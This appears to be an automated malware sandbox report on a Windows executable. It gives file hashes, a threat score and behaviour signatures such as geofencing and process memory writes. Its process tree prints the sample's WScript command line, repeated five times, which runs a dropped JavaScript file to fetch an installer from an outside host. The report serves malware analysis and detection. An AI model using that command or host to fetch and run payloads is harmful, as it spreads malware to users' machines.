Analysis

  • max time kernel
    141s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:40

General

  • Target

    6952219e7782840087604da2714345e8_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    6952219e7782840087604da2714345e8

  • SHA1

    01684e95acc6fdc863d7cd9728d1a38054dc7b6f

  • SHA256

    3a5516e7f068c31c561d450de9a5e5bcdd446f80c1432762cc95b25f3778cb43

  • SHA512

    b4979d2fa9089d513ebac4aa4438ba480fda5e7ff79dd0ea2e4a51b01fecc49c01a38ce7eee483e312312ecbb621461383cba7d24bea95927848be78fe4c814a

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Y:/7BSH8zUB+nGESaaRvoB7FJNndnh

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6952219e7782840087604da2714345e8_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6952219e7782840087604da2714345e8_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf789B.js" http://www.djapp.info/?domain=jTiUpIZdln.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf789B.exe
      2⤵
      • Blocklisted process makes network request
      PID:4292
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf789B.js" http://www.djapp.info/?domain=jTiUpIZdln.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf789B.exe
      2⤵
      • Blocklisted process makes network request
      PID:1832
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf789B.js" http://www.djapp.info/?domain=jTiUpIZdln.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf789B.exe
      2⤵
      • Blocklisted process makes network request
      PID:4860
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf789B.js" http://www.djapp.info/?domain=jTiUpIZdln.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf789B.exe
      2⤵
      • Blocklisted process makes network request
      PID:1008
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf789B.js" http://www.djapp.info/?domain=jTiUpIZdln.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXH C:\Users\Admin\AppData\Local\Temp\fuf789B.exe
      2⤵
      • Blocklisted process makes network request
      PID:232

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf789B.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76